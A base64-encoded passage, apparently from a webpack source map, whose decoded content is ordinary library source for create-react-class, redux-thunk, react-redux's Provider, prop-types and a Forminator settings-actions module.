XN0IHJldHVybiBhbiBvYmplY3Qgb3IgbnVsbCcsXG4gICAgICAgIENvbnN0cnVjdG9yLmRpc3BsYXlOYW1lIHx8ICdSZWFjdENvbXBvc2l0ZUNvbXBvbmVudCdcbiAgICAgICk7XG5cbiAgICAgIHRoaXMuc3RhdGUgPSBpbml0aWFsU3RhdGU7XG4gICAgfSk7XG4gICAgQ29uc3RydWN0b3IucHJvdG90eXBlID0gbmV3IFJlYWN0Q2xhc3NDb21wb25lbnQoKTtcbiAgICBDb25zdHJ1Y3Rvci5wcm90b3R5cGUuY29uc3RydWN0b3IgPSBDb25zdHJ1Y3RvcjtcbiAgICBDb25zdHJ1Y3Rvci5wcm90b3R5cGUuX19yZWFjdEF1dG9CaW5kUGFpcnMgPSBbXTtcblxuICAgIGluamVjdGVkTWl4aW5zLmZvckVhY2gobWl4U3BlY0ludG9Db21wb25lbnQuYmluZChudWxsLCBDb25zdHJ1Y3RvcikpO1xuXG4gICAgbWl4U3BlY0ludG9Db21wb25lbnQoQ29uc3RydWN0b3IsIElzTW91bnRlZFByZU1peGluKTtcbiAgICBtaXhTcGVjSW50b0NvbXBvbmVudChDb25zdHJ1Y3Rvciwgc3BlYyk7XG4gICAgbWl4U3BlY0ludG9Db21wb25lbnQoQ29uc3RydWN0b3IsIElzTW91bnRlZFBvc3RNaXhpbik7XG5cbiAgICAvLyBJbml0aWFsaXplIHRoZSBkZWZhdWx0UHJvcHMgcHJvcGVydHkgYWZ0ZXIgYWxsIG1peGlucyBoYXZlIGJlZW4gbWVyZ2VkLlxuICAgIGlmIChDb25zdHJ1Y3Rvci5nZXREZWZhdWx0UHJvcHMpIHtcbiAgICAgIENvbnN0cnVjdG9yLmRlZmF1bHRQcm9wcyA9IENvbnN0cnVjdG9yLmdldERlZmF1bHRQcm9wcygpO1xuICAgIH1cblxuICAgIGlmIChwcm9jZXNzLmVudi5OT0RFX0VOViAhPT0gJ3Byb2R1Y3Rpb24nKSB7XG4gICAgICAvLyBUaGlzIGlzIGEgdGFnIHRvIGluZGljYXRlIHRoYXQgdGhlIHVzZSBvZiB0aGVzZSBtZXRob2QgbmFtZXMgaXMgb2ssXG4gICAgICAvLyBzaW5jZSBpdCdzIHVzZWQgd2l0aCBjcmVhdGVDbGFzcy4gSWYgaXQncyBub3QsIHRoZW4gaXQncyBsaWtlbHkgYVxuICAgICAgLy8gbWlzdGFrZSBzbyB3ZSdsbCB3YXJuIHlvdSB0byB1c2UgdGhlIHN0YXRpYyBwcm9wZXJ0eSwgcHJvcGVydHlcbiAgICAgIC8vIGluaXRpYWxpemVyIG9yIGNvbnN0cnVjdG9yIHJlc3BlY3RpdmVseS5cbiAgICAgIGlmIChDb25zdHJ1Y3Rvci5nZXREZWZhdWx0UHJvcHMpIHtcbiAgICAgICAgQ29uc3RydWN0b3IuZ2V0RGVmYXVsdFByb3BzLmlzUmVhY3RDbGFzc0FwcHJvdmVkID0ge307XG4gICAgICB9XG4gICAgICBpZiAoQ29uc3RydWN0b3IucHJvdG90eXBlLmdldEluaXRpYWxTdGF0ZSkge1xuICAgICAgICBDb25zdHJ1Y3Rvci5wcm90b3R5cGUuZ2V0SW5pdGlhbFN0YXRlLmlzUmVhY3RDbGFzc0FwcHJvdmVkID0ge307XG4gICAgICB9XG4gICAgfVxuXG4gICAgX2ludmFyaWFudChcbiAgICAgIENvbnN0cnVjdG9yLnByb3RvdHlwZS5yZW5kZXIsXG4gICAgICAnY3JlYXRlQ2xhc3MoLi4uKTogQ2xhc3Mgc3BlY2lmaWNhdGlvbiBtdXN0IGltcGxlbWVudCBhIGByZW5kZXJgIG1ldGhvZC4nXG4gICAgKTtcblxuICAgIGlmIChwcm9jZXNzLmVudi5OT0RFX0VOViAhPT0gJ3Byb2R1Y3Rpb24nKSB7XG4gICAgICB3YXJuaW5nKFxuICAgICAgICAhQ29uc3RydWN0b3IucHJvdG90eXBlLmNvbXBvbmVudFNob3VsZFVwZGF0ZSxcbiAgICAgICAgJyVzIGhhcyBhIG1ldGhvZCBjYWxsZWQgJyArXG4gICAgICAgICAgJ2NvbXBvbmVudFNob3VsZFVwZGF0ZSgpLiBEaWQgeW91IG1lYW4gc2hvdWxkQ29tcG9uZW50VXBkYXRlKCk/ICcgK1xuICAgICAgICAgICdUaGUgbmFtZSBpcyBwaHJhc2VkIGFzIGEgcXVlc3Rpb24gYmVjYXVzZSB0aGUgZnVuY3Rpb24gaXMgJyArXG4gICAgICAgICAgJ2V4cGVjdGVkIHRvIHJldHVybiBhIHZhbHVlLicsXG4gICAgICAgIHNwZWMuZGlzcGxheU5hbWUgfHwgJ0EgY29tcG9uZW50J1xuICAgICAgKTtcbiAgICAgIHdhcm5pbmcoXG4gICAgICAgICFDb25zdHJ1Y3Rvci5wcm90b3R5cGUuY29tcG9uZW50V2lsbFJlY2lldmVQcm9wcyxcbiAgICAgICAgJyVzIGhhcyBhIG1ldGhvZCBjYWxsZWQgJyArXG4gICAgICAgICAgJ2NvbXBvbmVudFdpbGxSZWNpZXZlUHJvcHMoKS4gRGlkIHlvdSBtZWFuIGNvbXBvbmVudFdpbGxSZWNlaXZlUHJvcHMoKT8nLFxuICAgICAgICBzcGVjLmRpc3BsYXlOYW1lIHx8ICdBIGNvbXBvbmVudCdcbiAgICAgICk7XG4gICAgICB3YXJuaW5nKFxuICAgICAgICAhQ29uc3RydWN0b3IucHJvdG90eXBlLlVOU0FGRV9jb21wb25lbnRXaWxsUmVjaWV2ZVByb3BzLFxuICAgICAgICAnJXMgaGFzIGEgbWV0aG9kIGNhbGxlZCBVTlNBRkVfY29tcG9uZW50V2lsbFJlY2lldmVQcm9wcygpLiAnICtcbiAgICAgICAgICAnRGlkIHlvdSBtZWFuIFVOU0FGRV9jb21wb25lbnRXaWxsUmVjZWl2ZVByb3BzKCk/JyxcbiAgICAgICAgc3BlYy5kaXNwbGF5TmFtZSB8fCAnQSBjb21wb25lbnQnXG4gICAgICApO1xuICAgIH1cblxuICAgIC8vIFJlZHVjZSB0aW1lIHNwZW50IGRvaW5nIGxvb2t1cHMgYnkgc2V0dGluZyB0aGVzZSBvbiB0aGUgcHJvdG90eXBlLlxuICAgIGZvciAodmFyIG1ldGhvZE5hbWUgaW4gUmVhY3RDbGFzc0ludGVyZmFjZSkge1xuICAgICAgaWYgKCFDb25zdHJ1Y3Rvci5wcm90b3R5cGVbbWV0aG9kTmFtZV0pIHtcbiAgICAgICAgQ29uc3RydWN0b3IucHJvdG90eXBlW21ldGhvZE5hbWVdID0gbnVsbDtcbiAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gQ29uc3RydWN0b3I7XG4gIH1cblxuICByZXR1cm4gY3JlYXRlQ2xhc3M7XG59XG5cbm1vZHVsZS5leHBvcnRzID0gZmFjdG9yeTtcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2NyZWF0ZS1yZWFjdC1jbGFzcy9mYWN0b3J5LmpzXG4vLyBtb2R1bGUgaWQgPSAxMDdcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQgNSIsIi8qKlxuICogQ29weXJpZ2h0IChjKSAyMDEzLXByZXNlbnQsIEZhY2Vib29rLCBJbmMuXG4gKlxuICogVGhpcyBzb3VyY2UgY29kZSBpcyBsaWNlbnNlZCB1bmRlciB0aGUgTUlUIGxpY2Vuc2UgZm91bmQgaW4gdGhlXG4gKiBMSUNFTlNFIGZpbGUgaW4gdGhlIHJvb3QgZGlyZWN0b3J5IG9mIHRoaXMgc291cmNlIHRyZWUuXG4gKlxuICovXG5cbid1c2Ugc3RyaWN0JztcblxudmFyIGVtcHR5T2JqZWN0ID0ge307XG5cbmlmIChwcm9jZXNzLmVudi5OT0RFX0VOViAhPT0gJ3Byb2R1Y3Rpb24nKSB7XG4gIE9iamVjdC5mcmVlemUoZW1wdHlPYmplY3QpO1xufVxuXG5tb2R1bGUuZXhwb3J0cyA9IGVtcHR5T2JqZWN0O1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2ZianMvbGliL2VtcHR5T2JqZWN0LmpzXG4vLyBtb2R1bGUgaWQgPSAxMDhcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQgNSIsImV4cG9ydCBjb25zdCB1cGRhdGVTZXR0aW5nID0gKCBzZXR0aW5nLCB2YWx1ZSApID0+IGRpc3BhdGNoID0+IHtcblx0Ly8gVXBkYXRlIGdsb2JhbCB2YXJpYWJsZSB3aXRoIENoYW5nZXNcblx0d2luZG93LmZvcm1pbmF0b3JDaGFuZ2VzLnNldHRpbmdzID0gdHJ1ZTtcblxuXHRkaXNwYXRjaCgge1xuXHRcdHR5cGU6ICdVUERBVEVfU0VUVElORycsXG5cdFx0c2V0dGluZzogc2V0dGluZyxcblx0XHR2YWx1ZTogdmFsdWVcblx0fSApO1xufTtcblxuZXhwb3J0IGNvbnN0IHVwZGF0ZVNldHRpbmdzID0gKCBzZXR0aW5ncyApID0+IGRpc3BhdGNoID0+IHtcblx0Ly8gVXBkYXRlIGdsb2JhbCB2YXJpYWJsZSB3aXRoIENoYW5nZXNcblx0d2luZG93LmZvcm1pbmF0b3JDaGFuZ2VzLnNldHRpbmdzID0gdHJ1ZTtcblxuXHRkaXNwYXRjaCgge1xuXHRcdHR5cGU6ICdVUERBVEVfU0VUVElOR1MnLFxuXHRcdHNldHRpbmdzOiBzZXR0aW5ncyxcblx0fSApO1xufTtcblxuZXhwb3J0IGNvbnN0IHJlc2V0U2V0dGluZ3MgPSAoIHNldHRpbmdzICkgPT4gZGlzcGF0Y2ggPT4ge1xuXHQvLyBVcGRhdGUgZ2xvYmFsIHZhcmlhYmxlIHdpdGggQ2hhbmdlc1xuXHR3aW5kb3cuZm9ybWluYXRvckNoYW5nZXMuc2V0dGluZ3MgPSB0cnVlO1xuXG5cdGRpc3BhdGNoKCB7XG5cdFx0dHlwZTogJ1JFU0VUX1NFVFRJTkdTJyxcblx0XHRzZXR0aW5nczogc2V0dGluZ3MsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBzYXZlQnVpbGRlciA9ICggc2V0dGluZywgdmFsdWUgKSA9PiBkaXNwYXRjaCA9PiB7XG5cdC8vIEVtcHR5IGdsb2JhbCBjaGFuZ2VkIHZhcmlhYmxlXG5cdHdpbmRvdy5mb3JtaW5hdG9yQ2hhbmdlcyA9IHtcblx0XHRmaWVsZHM6IFtdLFxuXHRcdHNldHRpbmdzOiBmYWxzZSxcblx0XHRzYXZlZDogdHJ1ZSxcblx0fTtcblxuXHRkaXNwYXRjaCgge1xuXHRcdHR5cGU6ICdVUERBVEVfU0VUVElORycsXG5cdFx0c2V0dGluZzogc2V0dGluZyxcblx0XHR2YWx1ZTogdmFsdWVcblx0fSApO1xufTtcblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9mb3JtL2FjdGlvbnMvc2V0dGluZ3MuanMiLCJmdW5jdGlvbiBjcmVhdGVUaHVua01pZGRsZXdhcmUoZXh0cmFBcmd1bWVudCkge1xuICByZXR1cm4gZnVuY3Rpb24gKF9yZWYpIHtcbiAgICB2YXIgZGlzcGF0Y2ggPSBfcmVmLmRpc3BhdGNoLFxuICAgICAgICBnZXRTdGF0ZSA9IF9yZWYuZ2V0U3RhdGU7XG4gICAgcmV0dXJuIGZ1bmN0aW9uIChuZXh0KSB7XG4gICAgICByZXR1cm4gZnVuY3Rpb24gKGFjdGlvbikge1xuICAgICAgICBpZiAodHlwZW9mIGFjdGlvbiA9PT0gJ2Z1bmN0aW9uJykge1xuICAgICAgICAgIHJldHVybiBhY3Rpb24oZGlzcGF0Y2gsIGdldFN0YXRlLCBleHRyYUFyZ3VtZW50KTtcbiAgICAgICAgfVxuXG4gICAgICAgIHJldHVybiBuZXh0KGFjdGlvbik7XG4gICAgICB9O1xuICAgIH07XG4gIH07XG59XG5cbnZhciB0aHVuayA9IGNyZWF0ZVRodW5rTWlkZGxld2FyZSgpO1xudGh1bmsud2l0aEV4dHJhQXJndW1lbnQgPSBjcmVhdGVUaHVua01pZGRsZXdhcmU7XG5cbmV4cG9ydCBkZWZhdWx0IHRodW5rO1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3JlZHV4LXRodW5rL2VzL2luZGV4LmpzXG4vLyBtb2R1bGUgaWQgPSAxMTJcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJmdW5jdGlvbiBfY2xhc3NDYWxsQ2hlY2soaW5zdGFuY2UsIENvbnN0cnVjdG9yKSB7IGlmICghKGluc3RhbmNlIGluc3RhbmNlb2YgQ29uc3RydWN0b3IpKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoXCJDYW5ub3QgY2FsbCBhIGNsYXNzIGFzIGEgZnVuY3Rpb25cIik7IH0gfVxuXG5mdW5jdGlvbiBfcG9zc2libGVDb25zdHJ1Y3RvclJldHVybihzZWxmLCBjYWxsKSB7IGlmICghc2VsZikgeyB0aHJvdyBuZXcgUmVmZXJlbmNlRXJyb3IoXCJ0aGlzIGhhc24ndCBiZWVuIGluaXRpYWxpc2VkIC0gc3VwZXIoKSBoYXNuJ3QgYmVlbiBjYWxsZWRcIik7IH0gcmV0dXJuIGNhbGwgJiYgKHR5cGVvZiBjYWxsID09PSBcIm9iamVjdFwiIHx8IHR5cGVvZiBjYWxsID09PSBcImZ1bmN0aW9uXCIpID8gY2FsbCA6IHNlbGY7IH1cblxuZnVuY3Rpb24gX2luaGVyaXRzKHN1YkNsYXNzLCBzdXBlckNsYXNzKSB7IGlmICh0eXBlb2Ygc3VwZXJDbGFzcyAhPT0gXCJmdW5jdGlvblwiICYmIHN1cGVyQ2xhc3MgIT09IG51bGwpIHsgdGhyb3cgbmV3IFR5cGVFcnJvcihcIlN1cGVyIGV4cHJlc3Npb24gbXVzdCBlaXRoZXIgYmUgbnVsbCBvciBhIGZ1bmN0aW9uLCBub3QgXCIgKyB0eXBlb2Ygc3VwZXJDbGFzcyk7IH0gc3ViQ2xhc3MucHJvdG90eXBlID0gT2JqZWN0LmNyZWF0ZShzdXBlckNsYXNzICYmIHN1cGVyQ2xhc3MucHJvdG90eXBlLCB7IGNvbnN0cnVjdG9yOiB7IHZhbHVlOiBzdWJDbGFzcywgZW51bWVyYWJsZTogZmFsc2UsIHdyaXRhYmxlOiB0cnVlLCBjb25maWd1cmFibGU6IHRydWUgfSB9KTsgaWYgKHN1cGVyQ2xhc3MpIE9iamVjdC5zZXRQcm90b3R5cGVPZiA/IE9iamVjdC5zZXRQcm90b3R5cGVPZihzdWJDbGFzcywgc3VwZXJDbGFzcykgOiBzdWJDbGFzcy5fX3Byb3RvX18gPSBzdXBlckNsYXNzOyB9XG5cbmltcG9ydCB7IENvbXBvbmVudCwgQ2hpbGRyZW4gfSBmcm9tICdyZWFjdCc7XG5pbXBvcnQgUHJvcFR5cGVzIGZyb20gJ3Byb3AtdHlwZXMnO1xuaW1wb3J0IHsgc3RvcmVTaGFwZSwgc3Vic2NyaXB0aW9uU2hhcGUgfSBmcm9tICcuLi91dGlscy9Qcm9wVHlwZXMnO1xuaW1wb3J0IHdhcm5pbmcgZnJvbSAnLi4vdXRpbHMvd2FybmluZyc7XG5cbnZhciBkaWRXYXJuQWJvdXRSZWNlaXZpbmdTdG9yZSA9IGZhbHNlO1xuZnVuY3Rpb24gd2FybkFib3V0UmVjZWl2aW5nU3RvcmUoKSB7XG4gIGlmIChkaWRXYXJuQWJvdXRSZWNlaXZpbmdTdG9yZSkge1xuICAgIHJldHVybjtcbiAgfVxuICBkaWRXYXJuQWJvdXRSZWNlaXZpbmdTdG9yZSA9IHRydWU7XG5cbiAgd2FybmluZygnPFByb3ZpZGVyPiBkb2VzIG5vdCBzdXBwb3J0IGNoYW5naW5nIGBzdG9yZWAgb24gdGhlIGZseS4gJyArICdJdCBpcyBtb3N0IGxpa2VseSB0aGF0IHlvdSBzZWUgdGhpcyBlcnJvciBiZWNhdXNlIHlvdSB1cGRhdGVkIHRvICcgKyAnUmVkdXggMi54IGFuZCBSZWFjdCBSZWR1eCAyLnggd2hpY2ggbm8gbG9uZ2VyIGhvdCByZWxvYWQgcmVkdWNlcnMgJyArICdhdXRvbWF0aWNhbGx5LiBTZWUgaHR0cHM6Ly9naXRodWIuY29tL3JlYWN0anMvcmVhY3QtcmVkdXgvcmVsZWFzZXMvJyArICd0YWcvdjIuMC4wIGZvciB0aGUgbWlncmF0aW9uIGluc3RydWN0aW9ucy4nKTtcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIGNyZWF0ZVByb3ZpZGVyKCkge1xuICB2YXIgX1Byb3ZpZGVyJGNoaWxkQ29udGV4O1xuXG4gIHZhciBzdG9yZUtleSA9IGFyZ3VtZW50cy5sZW5ndGggPiAwICYmIGFyZ3VtZW50c1swXSAhPT0gdW5kZWZpbmVkID8gYXJndW1lbnRzWzBdIDogJ3N0b3JlJztcbiAgdmFyIHN1YktleSA9IGFyZ3VtZW50c1sxXTtcblxuICB2YXIgc3Vic2NyaXB0aW9uS2V5ID0gc3ViS2V5IHx8IHN0b3JlS2V5ICsgJ1N1YnNjcmlwdGlvbic7XG5cbiAgdmFyIFByb3ZpZGVyID0gZnVuY3Rpb24gKF9Db21wb25lbnQpIHtcbiAgICBfaW5oZXJpdHMoUHJvdmlkZXIsIF9Db21wb25lbnQpO1xuXG4gICAgUHJvdmlkZXIucHJvdG90eXBlLmdldENoaWxkQ29udGV4dCA9IGZ1bmN0aW9uIGdldENoaWxkQ29udGV4dCgpIHtcbiAgICAgIHZhciBfcmVmO1xuXG4gICAgICByZXR1cm4gX3JlZiA9IHt9LCBfcmVmW3N0b3JlS2V5XSA9IHRoaXNbc3RvcmVLZXldLCBfcmVmW3N1YnNjcmlwdGlvbktleV0gPSBudWxsLCBfcmVmO1xuICAgIH07XG5cbiAgICBmdW5jdGlvbiBQcm92aWRlcihwcm9wcywgY29udGV4dCkge1xuICAgICAgX2NsYXNzQ2FsbENoZWNrKHRoaXMsIFByb3ZpZGVyKTtcblxuICAgICAgdmFyIF90aGlzID0gX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4odGhpcywgX0NvbXBvbmVudC5jYWxsKHRoaXMsIHByb3BzLCBjb250ZXh0KSk7XG5cbiAgICAgIF90aGlzW3N0b3JlS2V5XSA9IHByb3BzLnN0b3JlO1xuICAgICAgcmV0dXJuIF90aGlzO1xuICAgIH1cblxuICAgIFByb3ZpZGVyLnByb3RvdHlwZS5yZW5kZXIgPSBmdW5jdGlvbiByZW5kZXIoKSB7XG4gICAgICByZXR1cm4gQ2hpbGRyZW4ub25seSh0aGlzLnByb3BzLmNoaWxkcmVuKTtcbiAgICB9O1xuXG4gICAgcmV0dXJuIFByb3ZpZGVyO1xuICB9KENvbXBvbmVudCk7XG5cbiAgaWYgKHByb2Nlc3MuZW52Lk5PREVfRU5WICE9PSAncHJvZHVjdGlvbicpIHtcbiAgICBQcm92aWRlci5wcm90b3R5cGUuY29tcG9uZW50V2lsbFJlY2VpdmVQcm9wcyA9IGZ1bmN0aW9uIChuZXh0UHJvcHMpIHtcbiAgICAgIGlmICh0aGlzW3N0b3JlS2V5XSAhPT0gbmV4dFByb3BzLnN0b3JlKSB7XG4gICAgICAgIHdhcm5BYm91dFJlY2VpdmluZ1N0b3JlKCk7XG4gICAgICB9XG4gICAgfTtcbiAgfVxuXG4gIFByb3ZpZGVyLnByb3BUeXBlcyA9IHtcbiAgICBzdG9yZTogc3RvcmVTaGFwZS5pc1JlcXVpcmVkLFxuICAgIGNoaWxkcmVuOiBQcm9wVHlwZXMuZWxlbWVudC5pc1JlcXVpcmVkXG4gIH07XG4gIFByb3ZpZGVyLmNoaWxkQ29udGV4dFR5cGVzID0gKF9Qcm92aWRlciRjaGlsZENvbnRleCA9IHt9LCBfUHJvdmlkZXIkY2hpbGRDb250ZXhbc3RvcmVLZXldID0gc3RvcmVTaGFwZS5pc1JlcXVpcmVkLCBfUHJvdmlkZXIkY2hpbGRDb250ZXhbc3Vic2NyaXB0aW9uS2V5XSA9IHN1YnNjcmlwdGlvblNoYXBlLCBfUHJvdmlkZXIkY2hpbGRDb250ZXgpO1xuXG4gIHJldHVybiBQcm92aWRlcjtcbn1cblxuZXhwb3J0IGRlZmF1bHQgY3JlYXRlUHJvdmlkZXIoKTtcblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9yZWFjdC1yZWR1eC9lcy9jb21wb25lbnRzL1Byb3ZpZGVyLmpzXG4vLyBtb2R1bGUgaWQgPSAxMTVcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCIvKipcbiAqIENvcHlyaWdodCAoYykgMjAxMy1wcmVzZW50LCBGYWNlYm9vaywgSW5jLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICovXG5cbid1c2Ugc3RyaWN0JztcblxudmFyIGFzc2lnbiA9IHJlcXVpcmUoJ29iamVjdC1hc3NpZ24nKTtcblxudmFyIFJlYWN0UHJvcFR5cGVzU2VjcmV0ID0gcmVxdWlyZSgnLi9saWIvUmVhY3RQcm9wVHlwZXNTZWNyZXQnKTtcbnZhciBjaGVja1Byb3BUeXBlcyA9IHJlcXVpcmUoJy4vY2hlY2tQcm9wVHlwZXMnKTtcblxudmFyIHByaW50V2FybmluZyA9IGZ1bmN0aW9uKCkge307XG5cbmlmIChwcm9jZXNzLmVudi5OT0RFX0VOViAhPT0gJ3Byb2R1Y3Rpb24nKSB7XG4gIHByaW50V2FybmluZyA9IGZ1bmN0aW9uKHRleHQpIHtcbiAgICB2YXIgbWVzc2FnZSA9ICdXYXJuaW5nOiAnICsgdGV4dDtcbiAgICBpZiAodHlwZW9mIGNvbnNvbGUgIT09ICd1bmRlZmluZWQnKSB7XG4gICAgICBjb25zb2xlLmVycm9yKG1lc3NhZ2UpO1xuICAgIH1cbiAgICB0cnkge1xuICAgICAgLy8gLS0tIFdlbGNvbWUgdG8gZGVidWdnaW5nIFJlYWN0IC0tLVxuICAgICAgLy8gVGhpcyBlcnJvciB3YXMgdGhyb3duIGFzIGEgY29udmVuaWVuY2Ugc28gdGhhdCB5b3UgY2FuIHVzZSB0aGlzIHN0YWNrXG4gICAgICAvLyB0byBmaW5kIHRoZSBjYWxsc2l0ZSB0aGF0IGNhdXNlZCB0aGlzIHdhcm5pbmcgdG8gZmlyZS5cbiAgICAgIHRocm93IG5ldyBFcnJvcihtZXNzYWdlKTtcbiAgICB9IGNhdGNoICh4KSB7fVxuICB9O1xufVxuXG5mdW5jdGlvbiBlbXB0eUZ1bmN0aW9uVGhhdFJldHVybnNOdWxsKCkge1xuICByZXR1cm4gbnVsbDtcbn1cblxubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbihpc1ZhbGlkRWxlbWVudCwgdGhyb3dPbkRpcmVjdEFjY2Vzcykge1xuICAvKiBnbG9iYWwgU3ltYm9sICovXG4gIHZhciBJVEVSQVRPUl9TWU1CT0wgPSB0eXBlb2YgU3ltYm9sID09PSAnZnVuY3Rpb24nICYmIFN5bWJvbC5pdGVyYXRvcjtcbiAgdmFyIEZBVVhfSVRFUkFUT1JfU1lNQk9MID0gJ0BAaXRlcmF0b3InOyAvLyBCZWZvcmUgU3ltYm9sIHNwZWMuXG5cbiAgLyoqXG4gICAqIFJldHVybnMgdGhlIGl0ZXJhdG9yIG1ldGhvZCBmdW5jdGlvbiBjb250YWluZWQgb24gdGhlIGl0ZXJhYmxlIG9iamVjdC5cbiAgICpcbiAgICogQmUgc3VyZSB0byBpbnZva2UgdGhlIGZ1bmN0aW9uIHdpdGggdGhlIGl0ZXJhYmxlIGFzIGNvbnRleHQ6XG4gICAqXG4gICAqICAgICB2YXIgaXRlcmF0b3JGbiA9IGdldEl0ZXJhdG9yRm4obXlJdGVyYWJsZSk7XG4gICAqICAgICBpZiAoaXRlcmF0b3JGbikge1xuICAgKiAgICAgICB2YXIgaXRlcmF0b3IgPSBpdGVyYXRvckZuLmNhbGwobXlJdGVyYWJsZSk7XG4gICAqICAgICAgIC4uLlxuICAgKiAgICAgfVxuICAgKlxuICAgKiBAcGFyYW0gez9vYmplY3R9IG1heWJlSXRlcmFibGVcbiAgICogQHJldHVybiB7P2Z1bmN0aW9ufVxuICAgKi9cbiAgZnVuY3Rpb24gZ2V0SXRlcmF0b3JGbihtYXliZUl0ZXJhYmxlKSB7XG4gICAgdmFyIGl0ZXJhdG9yRm4gPSBtYXliZUl0ZXJhYmxlICYmIChJVEVSQVRPUl9TWU1CT0wgJiYgbWF5YmVJdGVyYWJsZVtJVEVSQVRPUl9TWU1CT0xdIHx8IG1heWJlSXRlcmFibGVbRkFVWF9JVEVSQVRPUl9TWU1CT0xdKTtcbiAgICBpZiAodHlwZW9mIGl0ZXJhdG9yRm4gPT09ICdmdW5jdGlvbicpIHtcbiAgICAgIHJldHVybiBpdGVyYXRvckZuO1xuICAgIH1cbiAgfVxuXG4gIC8qKlxuICAgKiBDb2xsZWN0aW9uIG9mIG1ldGhvZHMgdGhhdCBhbGxvdyBkZWNsYXJhdGlvbiBhbmQgdmFsaWRhdGlvbiBvZiBwcm9wcyB0aGF0IGFyZVxuICAgKiBzdXBwbGllZCB0byBSZWFjdCBjb21wb25lbnRzLiBFeGFtcGxlIHVzYWdlOlxuICAgKlxuICAgKiAgIHZhciBQcm9wcyA9IHJlcXVpcmUoJ1JlYWN0UHJvcFR5cGVzJyk7XG4gICAqICAgdmFyIE15QXJ0aWNsZSA9IFJlYWN0LmNyZWF0ZUNsYXNzKHtcbiAgICogICAgIHByb3BUeXBlczoge1xuICAgKiAgICAgICAvLyBBbiBvcHRpb25hbCBzdHJpbmcgcHJvcCBuYW1lZCBcImRlc2NyaXB0aW9uXCIuXG4gICAqICAgICAgIGRlc2NyaXB0aW9uOiBQcm9wcy5zdHJpbmcsXG4gICAqXG4gICAqICAgICAgIC8vIEEgcmVxdWlyZWQgZW51bSBwcm9wIG5hbWVkIFwiY2F0ZWdvcnlcIi5cbiAgICogICAgICAgY2F0ZWdvcnk6IFByb3BzLm9uZU9mKFsnTmV3cycsJ1Bob3RvcyddKS5pc1JlcXVpcmVkLFxuICAgKlxuICAgKiAgICAgICAvLyBBIHByb3AgbmFtZWQgXCJkaWFsb2dcIiB0aGF0IHJlcXVpcmVzIGFuIGluc3RhbmNlIG9mIERpYWxvZy5cbiAgICogICAgICAgZGlhbG9nOiBQcm9wcy5pbnN0YW5jZU9mKERpYWxvZykuaXNSZXF1aXJlZFxuICAgKiAgICAgfSxcbiAgICogICAgIHJlbmRlcjogZnVuY3Rpb24oKSB7IC4uLiB9XG4gICAqICAgfSk7XG4gICAqXG4gICAqIEEgbW9yZSBmb3JtYWwgc3BlY2lmaWNhdGlvbiBvZiBob3cgdGhlc2UgbWV0aG9kcyBhcmUgdXNlZDpcbiAgICpcbiAgICogICB0eXBlIDo9IGFycmF5fGJvb2x8ZnVuY3xvYmplY3R8bnVtYmVyfHN0cmluZ3xvbmVPZihbLi4uXSl8aW5zdGFuY2VPZiguLi4pXG4gICAqICAgZGVjbCA6PSBSZWFjdFByb3BUeXBlcy57dHlwZX0oLmlzUmVxdWlyZWQpP1xuICAgKlxuICAgKiBFYWNoIGFuZCBldmVyeSBkZWNsYXJhdGlvbiBwcm9kdWNlcyBhIGZ1bmN0aW9uIHdpdGggdGhlIHNhbWUgc2lnbmF0dXJlLiBUaGlzXG4gICAqIGFsbG93cyB0aGUgY3JlYXRpb24gb2YgY3VzdG9tIHZhbGlkYXRpb24gZnVuY3Rpb25zLiBGb3IgZXhhbXBsZTpcbiAgICpcbiAgICogIHZhciBNeUxpbmsgPSBSZWFjdC5jcmVhdGVDbGFzcyh7XG4gICAqICAgIHByb3BUeXBlczoge1xuICAgKiAgICAgIC8vIEFuIG9wdGlvbmFsIHN0cmluZyBvciBVUkkgcHJvcCBuYW1lZCBcImhyZWZcIi5cbiAgICogICAgICBocmVmOiBmdW5jdGlvbihwcm9wcywgcHJvcE5hbWUsIGNvbXBvbmVudE5hbWUpIHtcbiAgICogICAgICAgIHZhciBwcm9wVmFsdWUgPSBwcm9wc1twcm9wTmFtZV07XG4gICAqICAgICAgICBpZiAocHJvcFZhbHVlICE9IG51bGwgJiYgdHlwZW9mIHByb3BWYWx1ZSAhPT0gJ3N0cmluZycgJiZcbiAgICogICAgICAgICAgICAhKHByb3BWYWx1ZSBpbnN0YW5jZW9mIFVSSSkpIHtcbiAgICogICAgICAgICAgcmV0dXJuIG5ldyBFcnJvcihcbiAgICogICAgICAgICAgICAnRXhwZWN0ZWQgYSBzdHJpbmcgb3IgYW4gVVJJIGZvciAnICsgcHJvcE5hbWUgKyAnIGluICcgK1xuICAgKiAgICAgICAgICAgIGNvbXBvbmVudE5hbWVcbiAgICogICAgICAgICAgKTtcbiAgICogICAgICAgIH1cbiAgICogICAgICB9XG4gICAqICAgIH0sXG4gICAqICAgIHJlbmRlcjogZnVuY3Rpb24oKSB7Li4ufVxuICAgKiAgfSk7XG4gICAqXG4gICAqIEBpbnRlcm5hb